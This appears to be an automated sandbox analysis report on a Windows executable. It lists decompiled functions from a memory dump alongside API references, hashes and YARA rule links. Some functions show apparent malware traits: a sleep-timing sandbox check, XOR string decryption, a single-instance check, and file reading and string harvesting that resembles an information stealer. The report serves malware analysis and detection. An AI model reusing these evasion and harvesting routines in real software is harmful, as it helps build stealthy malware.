Instruction ID: cae9cc6ef4c78a61a83837d811c26d181b9f6d266d9c88d5478db1a8e4085a6b
Opcode Fuzzy Hash: 4ce7fbfb40e2f00fb4dc1e40e9a1284c56ad4381bd5c56e1710dd8a692079903
Instruction Fuzzy Hash: 4B316BB0A4021CDBEB60CB54CD8DBE9B7B4BB44300F5042E9E519A6291CB745E90CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00413210, Relevance: 4.6, APIs: 3, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00413210(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				intOrPtr _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _t29;
				intOrPtr _t31;

				_t29 = E0040B130(__ecx, 0x4098); // executed
				_v16 = _t29;
				if(_v16 == 0) {
					_v32 = 0;
				} else {
					_v32 = E00411540(_v16, _a16);
				}
				_v8 = _v32;
				_t43 = _v8;
				_t31 = E00411700(_v8, _a4, _a8, _a12); // executed
				 *0x420404 = _t31;
				if( *0x420404 == 0) {
					_v28 = E0040B130(_t43, 8);
					_v12 = _v28;
					 *_v12 = 2;
					 *((intOrPtr*)(_v12 + 4)) = _v8;
					return _v12;
				} else {
					_v24 = _v8;
					_v20 = _v24;
					if(_v20 == 0) {
						_v36 = 0;
					} else {
						_v36 = E004132D0(_v20, 1);
					}
					return 0;
				}
			}

0x0041321b
0x00413223
0x0041322a
0x0041323d
0x0041322c
0x00413238
0x00413238
0x00413247
0x00413256
0x00413259
0x0041325e
0x0041326a
0x004132a2
0x004132a8
0x004132ae
0x004132ba
0x00000000
0x0041326c
0x0041326f
0x00413275
0x0041327c
0x0041328d
0x0041327e
0x00413288
0x00413288
0x00000000
0x00413294

APIs

new[].LIBCMTD ref: 0041321B
codecvt.LIBCPMTD ref: 00413283

Part of subcall function 00411540: new[].LIBCMTD ref: 00411614

new[].LIBCMTD ref: 0041329A

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: new[]$codecvt
String ID:
API String ID: 1685477457-0
Opcode ID: 6e75d96515968a0aefe2aeca04a664c4888b749f435511af428145f708735b26
Instruction ID: b4d50474376dac6433a2e3351cac86d73770d453fc0a9dba28e99bc0b97edd9a
Opcode Fuzzy Hash: 6e75d96515968a0aefe2aeca04a664c4888b749f435511af428145f708735b26
Instruction Fuzzy Hash: CA212CB4D00209EFDB04EF94D845BEEB7B1BB48304F1081AAE515B7391D7785A81CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00406F40, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 77memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,?,?,00407270), ref: 00406FAC

Strings

pr@, xrefs: 00406F84, 00406F9F, 00406F87

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocLocal
String ID: pr@
API String ID: 3494564517-3227904934
Opcode ID: cb03e04c54a80e38c622624d49a01806ff55dd9e599d0fe50c1ff18f71201163
Instruction ID: eab32e415073dec394fd0ab2a990987f9d2c25de1af4149f163f4e39c6e12773
Opcode Fuzzy Hash: cb03e04c54a80e38c622624d49a01806ff55dd9e599d0fe50c1ff18f71201163
Instruction Fuzzy Hash: 4A31C974A00209EFDB24CF94D884BAEB7B5FB48310F108569E915AB390C778AA45DF65

Uniqueness

Uniqueness Score: -1.00%

Function 0040AB00, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000), ref: 0040AB1B

Strings

8V, xrefs: 0040AB51

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocHeap
String ID: 8V
API String ID: 4292702814-1385945032
Opcode ID: 287577dd168ceb17308093490bbd5fb0c0ed09ee94a1e29e323562da8a670687
Instruction ID: 1518071c40ec81eac0f0be8e236fb17547765337259958fe3120fbd7993c5c23
Opcode Fuzzy Hash: 287577dd168ceb17308093490bbd5fb0c0ed09ee94a1e29e323562da8a670687
Instruction Fuzzy Hash: 94013175B40208FBE710DBD0ED4AFAEB7B8EB48700F404169FB05A7291D6746A158B58

Uniqueness

Uniqueness Score: -1.00%

Function 0040AE40, Relevance: 3.0, APIs: 2, Instructions: 30
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 50%

			E0040AE40() {
				char _v128;
				char _v132;
				void* _v136;
				void* _t8;

				_t8 =  *0x420014( &_v132); // executed
				if(_t8 == 0) {
					return 0x41d8e0;
				}
				_v136 = HeapAlloc( *0x420200(), 0, 0x64);
				E0040B280(_v136, _v136, 0, 4);
				lstrcatA(_v136,  &_v128);
				return _v136;
			}

0x0040ae4d
0x0040ae55
0x00000000
0x0040ae99
0x0040ae68
0x0040ae79
0x0040ae89
0x00000000

APIs

HeapAlloc.KERNEL32(00000000), ref: 0040AE62
lstrcatA.KERNEL32(?,?,?,00000000,00000004), ref: 0040AE89

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocHeaplstrcat
String ID:
API String ID: 1792520475-0
Opcode ID: 772447c451fc898a07fa35e0f4097d50ca7fe652166706fd3772658f5a6c6042
Instruction ID: dad48c14d0aa5ddfcca4397cb374ec4a8aa0b7f4434ec057509ceab1f67d781b
Opcode Fuzzy Hash: 772447c451fc898a07fa35e0f4097d50ca7fe652166706fd3772658f5a6c6042
Instruction Fuzzy Hash: 62F08270B403089BEB30EBA4DD49F6A77BCBB04700F4044A9F748E7191DB3599118FA9

Uniqueness

Uniqueness Score: -1.00%

Function 00401020, Relevance: 3.0, APIs: 2, Instructions: 15
sleepCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401020() {

				while(1 != 0) {
					if(E00401000() != 0) {
						ExitProcess(0);
					}
					Sleep(0x64); // executed
				}
				return 1;
			}

0x00401023
0x00401033
0x00401037
0x00401037
0x0040103f
0x0040103f
0x00401048

APIs

ExitProcess.KERNEL32 ref: 00401037
Sleep.KERNEL32(00000064), ref: 0040103F

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExitProcessSleep
String ID:
API String ID: 911557368-0
Opcode ID: 5fd0bda187882161ee6ab746bb2a67e5b1102820961a71f59f105f6220e646c1
Instruction ID: 69190b8f425f49032fa669c7b3501e506c58da8ff5e51e5965fa279ed958362e
Opcode Fuzzy Hash: 5fd0bda187882161ee6ab746bb2a67e5b1102820961a71f59f105f6220e646c1
Instruction Fuzzy Hash: CED0123134434547F26423E66C06B66B29C5B14785F400032BB41E9AE2DA7DD8D1C27E

Uniqueness

Uniqueness Score: -1.00%

Function 00404EE0, Relevance: 1.6, APIs: 1, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcatA.KERNEL32(?,00000000), ref: 00405014

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat
String ID:
API String ID: 4038537762-0
Opcode ID: e6a7219ef275b293b7f023f1d13b7a251a648a2794a1ce5865ec6a7ca751982d
Instruction ID: c3f486913311937f6db70407a888217b1d97d18854d3cfc975099e85d8ca0a8e
Opcode Fuzzy Hash: e6a7219ef275b293b7f023f1d13b7a251a648a2794a1ce5865ec6a7ca751982d
Instruction Fuzzy Hash: AA41FF71A44319ABEB30DB50DC49FAEB3B4EB48700F5040EAB609765C0D7B87A85DF59

Uniqueness

Uniqueness Score: -1.00%

Function 004048E0, Relevance: 1.6, APIs: 1, Instructions: 88fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32(0055F250,?,00000000,?,00000000), ref: 004049A3

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 827e5047023a49f609f55a56540618bda823a6031ec58b3f3a6fc1b627428e95
Instruction ID: 7f3611e9784fd1f5e25e757fb0b8c22d8f15ddd2fe32adb05b96f193fed7e907
Opcode Fuzzy Hash: 827e5047023a49f609f55a56540618bda823a6031ec58b3f3a6fc1b627428e95
Instruction Fuzzy Hash: 593100F5A40218ABEB20DB60DC45FDE77B4AB44704F5085BAB705B62C0D7749A85CF9C

Uniqueness

Uniqueness Score: -1.00%

Function 004011C0, Relevance: 1.5, APIs: 1, Instructions: 41
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004011C0(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, CHAR* _a12, CHAR* _a16, intOrPtr _a20) {
				char _v268;
				void* _t19;
				void* _t21;

				_t21 = __ecx;
				E0040B2C0( &_v268, 0x104);
				if(_a4 == 0) {
					E0040B3A0(_t21,  &_v268, 0x1a); // executed
				} else {
					E0040B3A0( &_v268,  &_v268, 0x1c); // executed
				}
				lstrcatA( &_v268, _a12);
				_t19 = E00401050(0x4187ce,  &_v268, _a16, _a12, _a8, _a20); // executed
				return _t19;
			}

0x004011c0
0x004011d5
0x004011de
0x004011fc
0x004011e0
0x004011e9
0x004011ee
0x0040120f
0x00401231
0x0040123c

APIs

lstrcatA.KERNEL32(?,005628F0,?,00000104), ref: 0040120F

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: lstrcat
String ID:
API String ID: 4038537762-0
Opcode ID: 5aa47b6f9b4abf1c26a5ebaab436ddb9862da7512c8e81605e3d18023e1432a8
Instruction ID: 2d769eadd42ec6418cf9f2f2b4962c3b1d3d3c86c2d7247f5d7320cf954d981d
Opcode Fuzzy Hash: 5aa47b6f9b4abf1c26a5ebaab436ddb9862da7512c8e81605e3d18023e1432a8
Instruction Fuzzy Hash: 1101867690420CA7D714EF54DC42FDB3378AB18704F50419EBA88661C1EBB8AAD4CBE5

Uniqueness

Uniqueness Score: -1.00%

Function 0040B240, Relevance: 1.5, APIs: 1, Instructions: 10
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E0040B240(long _a4) {
				void* _t4;

				_t4 = RtlAllocateHeap( *0x420200(), 8, _a4); // executed
				return _t4;
			}

0x0040b250
0x0040b257

APIs

RtlAllocateHeap.NTDLL(00000000,?,0040B13D,00413220,?,?,00413220,00004098), ref: 0040B250

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ed54e893ee173ef7d83c3d93d853dc4cd59ffe030bd2dc7d2edbbb3858294d31
Instruction ID: 25ebe0040561b0b685979be73408b50917c0924b39b486269bea148385dd4669
Opcode Fuzzy Hash: ed54e893ee173ef7d83c3d93d853dc4cd59ffe030bd2dc7d2edbbb3858294d31
Instruction Fuzzy Hash: F6C09B7524030CEBE7105BD8EC4DD7537DCF748701F404051B70DC6151CA71A8114779

Uniqueness

Uniqueness Score: -1.00%

Function 00404850, Relevance: 1.3, APIs: 1, Instructions: 51
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404850(intOrPtr _a4, intOrPtr* _a8, intOrPtr _a12) {
				void* _v8;
				signed int _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				char _v21;
				signed int _v28;
				void* _t38;

				_t38 = LocalAlloc(0x40, _a12 + 1); // executed
				_v8 = _t38;
				 *((char*)(_v8 + _a12)) = 0;
				_v12 = 0;
				while(_v12 < _a12) {
					_v16 = _a8;
					_v20 = _v16 + 1;
					do {
						_v21 =  *_v16;
						_v16 = _v16 + 1;
					} while (_v21 != 0);
					_v28 = _v16 - _v20;
					 *((char*)(_v8 + _v12)) =  *(_a4 + _v12) ^  *(_a8 + _v12 % _v28);
					_v12 = _v12 + 1;
				}
				return _v8;
			}

0x0040485f
0x00404865
0x0040486e
0x00404871
0x00404883
0x0040488e
0x00404897
0x0040489a
0x0040489f
0x004048a2
0x004048a6
0x004048b2
0x004048d5
0x00404880
0x00404880
0x004048df

APIs

LocalAlloc.KERNEL32(00000040,?), ref: 0040485F

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 48e9921a1ea5de5e0f1d8a60e9a1dee14e6f321f71ff250e111afb3983ea9f91
Instruction ID: ad8b5cdefeacbc167d452b2527bee7f996c516cdb2d807dc20ae476af3210171
Opcode Fuzzy Hash: 48e9921a1ea5de5e0f1d8a60e9a1dee14e6f321f71ff250e111afb3983ea9f91
Instruction Fuzzy Hash: 1F21F3B4D04288EFCB05CF98C891AAEBBB1FF89304F14C49AE915A7351C334AA51CB84

Uniqueness

Uniqueness Score: -1.00%

Function 004070D0, Relevance: 1.3, APIs: 1, Instructions: 49
memoryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E004070D0(intOrPtr _a4, char _a8, intOrPtr* _a12, long* _a16) {
				intOrPtr _v8;
				long _v12;
				intOrPtr _v16;
				char _v20;
				intOrPtr _v24;
				intOrPtr _t21;

				_v16 = _a4;
				_v20 = _a8;
				_t21 =  *0x4200b0( &_v20, 0, 0, 0, 0, 0,  &_v12); // executed
				_v24 = _t21;
				if(_v24 != 0) {
					 *_a16 = _v12;
					 *_a12 = LocalAlloc(0x40,  *_a16);
					if( *_a12 != 0) {
						E0040B260( *_a12, _v8,  *_a16);
					}
				}
				 *0x420248(_v8);
				return _v24;
			}

0x004070d9
0x004070df
0x004070f4
0x004070fa
0x00407101
0x00407109
0x0040711c
0x00407124
0x00407136
0x00407136
0x00407124
0x0040713f
0x0040714b

APIs

LocalAlloc.KERNEL32(00000040,00000000), ref: 00407113

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: 3a2e8d7b437ebeb0f2cbe7cdd7e28570cd72eb5c722d9d5ea040a328e1b9c86d
Instruction ID: 1c93ad5b1f40b429bc202f30088cd0e28ffa31c186ec748df0d7e47428336bd6
Opcode Fuzzy Hash: 3a2e8d7b437ebeb0f2cbe7cdd7e28570cd72eb5c722d9d5ea040a328e1b9c86d
Instruction Fuzzy Hash: 1211BAB4A00209DFCB04DF94D984AAE77B5FF48300F504569E915AB390D734AD51CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 0040AC10, Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000), ref: 0040AC2B

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: ccaa69a5e6f3ee35f5b1adff539f9a09d360c38b35fd3be686d5e83600f4423d
Instruction ID: 6cb41a0b96c465320f22647ac514345443061593054ae293fd73e38c11db2e7e
Opcode Fuzzy Hash: ccaa69a5e6f3ee35f5b1adff539f9a09d360c38b35fd3be686d5e83600f4423d
Instruction Fuzzy Hash: 42013179B40208BBEB10DBD4ED4AFAEB7B8EB48700F404168FB05A6291D6705A158B54

Uniqueness

Uniqueness Score: -1.00%

Function 0040ADC0, Relevance: 1.3, APIs: 1, Instructions: 38memoryCOMMON

Download Yara Rule

APIs

HeapAlloc.KERNEL32(00000000), ref: 0040ADDB

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: fc0a698261e1fa3495ba4ec1d7083bb0c2a50e947e6d8838dc3438f603763c66
Instruction ID: 4ed9d133f8cb759d38acfae2414acf77bd66da204d9393d7ac264a48de49f2bc
Opcode Fuzzy Hash: fc0a698261e1fa3495ba4ec1d7083bb0c2a50e947e6d8838dc3438f603763c66
Instruction Fuzzy Hash: BF013175B40208BFE710DBD4ED4AFAEB7B8EB48704F404164FB05A6291D6705A158B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040B6A0, Relevance: 1.3, APIs: 1, Instructions: 35
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040B6A0(intOrPtr _a4, intOrPtr _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _t20;

				_v12 = 0;
				if(_a4 != 0 && _a8 != 0) {
					_t20 = LocalAlloc(0x40, _a8 + 1); // executed
					_v12 = _t20;
					if(_v12 != 0) {
						_v8 = 0;
						while(_v8 < _a8) {
							 *((char*)(_v12 + _v8)) =  *((intOrPtr*)(_a4 + _v8));
							_v8 = _v8 + 1;
						}
					}
				}
				return _v12;
			}

0x0040b6a6
0x0040b6b1
0x0040b6c2
0x0040b6c8
0x0040b6cf
0x0040b6d1
0x0040b6e3
0x0040b6f9
0x0040b6e0
0x0040b6e0
0x0040b6e3
0x0040b6cf
0x0040b703

APIs

LocalAlloc.KERNEL32(00000040,-00000001), ref: 0040B6C2

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocLocal
String ID:
API String ID: 3494564517-0
Opcode ID: d97a1ab3948712250a6cc704936085f8d1ec4e49bf0a7ab373b65c9112d6987a
Instruction ID: 0456d1507c4dd24980b1dcb1f5a71179920875ba0e38989bf55e77b7dda993ef
Opcode Fuzzy Hash: d97a1ab3948712250a6cc704936085f8d1ec4e49bf0a7ab373b65c9112d6987a
Instruction Fuzzy Hash: FE011D30904108EFCB05CF98C5957AC7BB1EF04308F2484A9D9056B381C37AAF94EB8E

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7B0, Relevance: 1.3, APIs: 1, Instructions: 23
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040A7B0() {
				void* _v8;
				long _v12;
				void* _t9;

				_v8 = HeapAlloc( *0x420200(), 0, 0x104);
				_v12 = 0x104;
				_t9 =  *0x420184(_v8,  &_v12); // executed
				if(_t9 != 0) {
					return _v8;
				}
				return 0x41d8e0;
			}

0x0040a7ca
0x0040a7cd
0x0040a7dc
0x0040a7e4
0x00000000
0x0040a7ef
0x00000000

APIs

HeapAlloc.KERNEL32(00000000), ref: 0040A7C4

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 32b631d3a22acceb30c38fa0f749682b3da25f03ba67c96b389f6f2f795c7b32
Instruction ID: f44cc0fb52f993dba09e557e5fcca0c55edd7a49f47f5a8c9d136e556060be69
Opcode Fuzzy Hash: 32b631d3a22acceb30c38fa0f749682b3da25f03ba67c96b389f6f2f795c7b32
Instruction Fuzzy Hash: 42E0D8B4B00308FBD710EFE4DD49A9D77FCAB04301F5000A6EA04E3280E7749E519B55

Uniqueness

Uniqueness Score: -1.00%

Function 0040A800, Relevance: 1.3, APIs: 1, Instructions: 19
memoryCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E0040A800() {
				long _v8;
				void* _v12;

				_v12 = HeapAlloc( *0x420200(), 0, 0x104);
				_v8 = 0x104;
				 *0x4200d8(_v12,  &_v8); // executed
				return _v12;
			}

0x0040a81a
0x0040a81d
0x0040a82c
0x0040a838

APIs

HeapAlloc.KERNEL32(00000000), ref: 0040A814

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: a3efd3c48b4d734d5d2e58345d0abc0d1b5c9a41fd3256c7dcad502b87e49c2e
Instruction ID: 797f99a83db5d6d3a8151b2dcb637befcd0f63597c7eab7c1499cafea677de58
Opcode Fuzzy Hash: a3efd3c48b4d734d5d2e58345d0abc0d1b5c9a41fd3256c7dcad502b87e49c2e
Instruction Fuzzy Hash: A2E086B4A0030CFBD710EFE4DC49A9C7BF8EB08301F400095EA08E3240D67056448B64

Uniqueness

Uniqueness Score: -1.00%

Function 004065D0, Relevance: 1.3, APIs: 1, Instructions: 19
sleepCOMMON

Download Yara Rule

C-Code - Quality: 16%

			E004065D0() {
				intOrPtr _v8;
				intOrPtr _v12;

				_v8 =  *0x420214();
				Sleep(0x2710); // executed
				_v12 =  *0x420214() - _v8;
				if(_v12 <= 0x1770) {
					return 0;
				}
				return 1;
			}

0x004065dc
0x004065e4
0x004065f3
0x004065fd
0x00000000
0x00406608
0x00000000

APIs

Sleep.KERNEL32(00002710), ref: 004065E4

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: dce67c6478d157f796f7fe20501028308cfb71911a6afc8ab7e4105538fd2457
Instruction ID: d9f58a2b329fcca572e4727156c375abc17b8940f7ee83c521482cb2e53b148c
Opcode Fuzzy Hash: dce67c6478d157f796f7fe20501028308cfb71911a6afc8ab7e4105538fd2457
Instruction Fuzzy Hash: FEE04F3090810CDFD710ABB4D90C55CBAB0AB41301F5008B69806A7281DA7549619A66

Uniqueness

Uniqueness Score: -1.00%

Function 00406660, Relevance: 1.3, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00406660() {
				intOrPtr _t1;

				_t1 =  *0x41f8d4; // 0x55c458
				 *0x42015c(0, 0, _t1); // executed
				if(GetLastError() != 0xb7) {
					return 1;
				}
				return 0;
			}

0x00406663
0x0040666d
0x0040667e
0x00000000
0x00406684
0x00000000

APIs

GetLastError.KERNEL32(?,004066BE), ref: 00406673

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 32c523dc5f4f7c65d942e6520067223a13b253437a90e0f2a91ecfb6a8878880
Instruction ID: 9a38cabc834d4e99c1964d81abee85c5e1388717b61efda9a9ff699f422f0fbb
Opcode Fuzzy Hash: 32c523dc5f4f7c65d942e6520067223a13b253437a90e0f2a91ecfb6a8878880
Instruction Fuzzy Hash: 0DD0C9302542059FE62017A8AC49B7537D89714701F910932F50ED92E1C7B6A8624659

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00413711, Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00413711(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x41e170; // 0xbb40e64e
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x41ec80 = _t6;
				 *0x41ec7c = _t22;
				 *0x41ec78 = _t25;
				 *0x41ec74 = _t21;
				 *0x41ec70 = _t27;
				 *0x41ec6c = _t26;
				 *0x41ec98 = ss;
				 *0x41ec8c = cs;
				 *0x41ec68 = ds;
				 *0x41ec64 = es;
				 *0x41ec60 = fs;
				 *0x41ec5c = gs;
				asm("pushfd");
				_pop( *0x41ec90);
				 *0x41ec84 =  *_t31;
				 *0x41ec88 = _v0;
				 *0x41ec94 =  &_a4;
				 *0x41ebd0 = 0x10001;
				_t11 =  *0x41ec88; // 0x0
				 *0x41eb84 = _t11;
				 *0x41eb78 = 0xc0000409;
				 *0x41eb7c = 1;
				_t12 =  *0x41e170; // 0xbb40e64e
				_v812 = _t12;
				_t13 =  *0x41e174; // 0x44bf19b1
				_v808 = _t13;
				 *0x41ebc8 = IsDebuggerPresent();
				_push(1);
				E00413720(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter("x�A");
				if( *0x41ebc8 == 0) {
					_push(1);
					E00413720(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00413711
0x00413711
0x00413711
0x00413711
0x00413711
0x00413711
0x00413711
0x00413717
0x00413719
0x00413719
0x00413939
0x0041393e
0x00413944
0x0041394a
0x00413950
0x00413956
0x0041395c
0x00413963
0x0041396a
0x00413971
0x00413978
0x0041397f
0x00413986
0x00413987
0x00413990
0x00413998
0x004139a0
0x004139ab
0x004139b5
0x004139ba
0x004139bf
0x004139c9
0x004139d3
0x004139d8
0x004139de
0x004139e3
0x004139ef
0x004139f4
0x004139f6
0x004139fe
0x00413a09
0x00413a16
0x00413a18
0x00413a1a
0x00413a1f
0x00413a33

APIs

IsDebuggerPresent.KERNEL32 ref: 004139E9
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004139FE
UnhandledExceptionFilter.KERNEL32(xA), ref: 00413A09
GetCurrentProcess.KERNEL32(C0000409), ref: 00413A25
TerminateProcess.KERNEL32(00000000), ref: 00413A2C

Strings

xA, xrefs: 00413A04

Memory Dump Source

Source File: 00000011.00000002.852390347.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID: xA
API String ID: 2579439406-523113891
Opcode ID: 01422fe7aa394de96a1dce2bb53c41001ad32649875a46c3aff9b2fb7bb9f39c
Instruction ID: 282e5171f6a4c040705a1c019784b62771ee924954f9b84ddcea0199742fe092
Opcode Fuzzy Hash: 01422fe7aa394de96a1dce2bb53c41001ad32649875a46c3aff9b2fb7bb9f39c
Instruction Fuzzy Hash: 8221CFBD854304DBE700DF2AED89AC57BB0BB08315F50843AE909833A0EB746981CF9D

Uniqueness

Uniqueness Score: -1.00%

Function 00408BE0, Relevance: 40.5, APIs: 19, Strings: 4, Instructions: 236
stringCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E00408BE0(void* __ecx, CHAR* _a4, CHAR* _a8, CHAR* _a12) {
				char _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				char _v284;
				char* _v288;
				intOrPtr _v292;
				CHAR* _v296;
				char _v300;
				char _v304;
				intOrPtr _v308;
				intOrPtr _t59;
				intOrPtr _t72;
				CHAR* _t88;
				CHAR* _t90;
				CHAR* _t93;
				CHAR* _t96;
				void* _t98;
				intOrPtr _t99;
				CHAR* _t104;
				CHAR* _t106;
				CHAR* _t108;
				void* _t110;
				intOrPtr _t111;
				CHAR* _t116;
				CHAR* _t118;
				CHAR* _t120;
				intOrPtr _t129;
				intOrPtr _t130;
				CHAR* _t131;
				CHAR* _t132;
				CHAR* _t133;
				CHAR* _t134;
				intOrPtr _t136;
				intOrPtr _t140;
				CHAR* _t147;
				intOrPtr _t152;
				CHAR* _t156;
				CHAR* _t157;
				CHAR* _t159;
				CHAR* _t160;
				intOrPtr _t163;
				CHAR* _t164;
				CHAR* _t165;
				intOrPtr _t168;
				CHAR* _t169;
				CHAR* _t170;
				void* _t173;
				void* _t174;
				void* _t175;
				void* _t176;

				_t59 =  *0x41ffc4(_a12);
				_t174 = _t173 + 4;
				if(_t59 == 0) {
					_t59 = E0040B1F0(__ecx, 0x41ff98);
					_t175 = _t174 + 4;
					_v12 = _t59;
					if(_v12 < 0x20) {
						E0040B2C0( &_v284, 0x104);
						lstrcatA( &_v284, _a12);
						lstrcatA( &_v284, "\\");
						_t147 =  *0x41ff8c; // 0x5646f8
						lstrcatA( &_v284, _t147);
						_v304 = 0;
						_v300 = 0;
						_v292 =  *0x420050( &_v284, 0x80000000, 1, 0, 3, 0, 0);
						if(_v292 == 0) {
							L7:
							return  *0x41ffe8();
						}
						 *0x42006c(_v292, 0, 0, 2);
						_v304 =  *0x420218(_v292, 0);
						 *0x42006c(_v292, 0, 0, 0);
						_t72 = E0040B130(_v292, _v304 + 1);
						_t176 = _t175 + 4;
						_v308 = _t72;
						_v16 = _v308;
						 *0x420168(_v292, _v16, _v304,  &_v8, 0);
						while(1) {
							_t152 =  *0x41f920; // 0x5645a8
							_v296 =  *0x420040(_v16, _t152);
							_t182 = _v296;
							if(_v296 == 0) {
								break;
							}
							_t129 =  *0x41f920; // 0x5645a8
							_t31 =  *0x42009c(_t129) + 3; // 0x3
							_v296 =  &(_v296[_t31]);
							_t130 =  *0x41fb5c; // 0x564710
							_v288 =  *0x420040(_v296, _t130) - 3;
							 *_v288 = 0;
							_t131 =  *0x41fae0; // 0x562ce0
							_t156 =  *0x41ffe0; // 0x0
							lstrcatA(_t156, _t131);
							_t132 =  *0x41ffe0; // 0x0
							lstrcatA(_t132, _a8);
							_t157 =  *0x41ffe0; // 0x0
							lstrcatA(_t157, "\n");
							_t88 =  *0x41fb28; // 0x562ca0
							_t133 =  *0x41ffe0; // 0x0
							lstrcatA(_t133, _t88);
							_t90 =  *0x41ffe0; // 0x0
							lstrcatA(_t90, _a4);
